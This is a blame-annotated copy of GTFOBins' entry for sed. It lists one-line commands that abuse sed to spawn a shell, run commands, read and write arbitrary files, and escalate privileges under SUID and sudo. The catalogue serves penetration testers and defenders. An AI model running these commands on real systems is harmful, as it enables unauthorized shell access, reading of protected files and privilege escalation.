1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 15:59:17 +01:00
GTFOBins.github.io/_gtfobins/sed.md

27 lines
715 B
Markdown
Raw Normal View History

2018-06-12 16:06:16 +02:00
---
functions:
2018-10-05 19:55:38 +02:00
shell:
2018-07-16 15:01:50 +02:00
- description: GNU version only. Also, this requires `bash`.
code: sed -n '1e exec sh 1>&0' /etc/hosts
2019-04-16 15:37:14 +02:00
- description: GNU version only. The resulting shell is not a proper TTY shell.
code: sed e
2018-10-05 19:55:38 +02:00
command:
2018-07-16 15:01:50 +02:00
- description: GNU version only.
2019-04-16 15:50:36 +02:00
code: sed -n '1e id' /etc/hosts
file-write:
2018-07-16 15:01:50 +02:00
- code: |
LFILE=file_to_write
2019-04-16 15:49:49 +02:00
sed -n "1s/.*/DATA/w $LFILE" /etc/hosts
2018-07-04 20:26:52 +02:00
file-read:
2018-07-16 15:01:50 +02:00
- code: |
LFILE=file_to_read
sed '' "$LFILE"
2018-10-05 19:55:38 +02:00
suid:
2018-07-16 15:01:50 +02:00
- code: |
LFILE=file_to_read
./sed -e '' "$LFILE"
2018-10-05 19:55:38 +02:00
sudo:
2018-07-16 15:01:50 +02:00
- description: GNU version only. Also, this requires `bash`.
2019-04-16 15:50:36 +02:00
code: sudo sed -n '1e exec sh 1>&0' /etc/hosts
2018-06-12 16:06:16 +02:00
---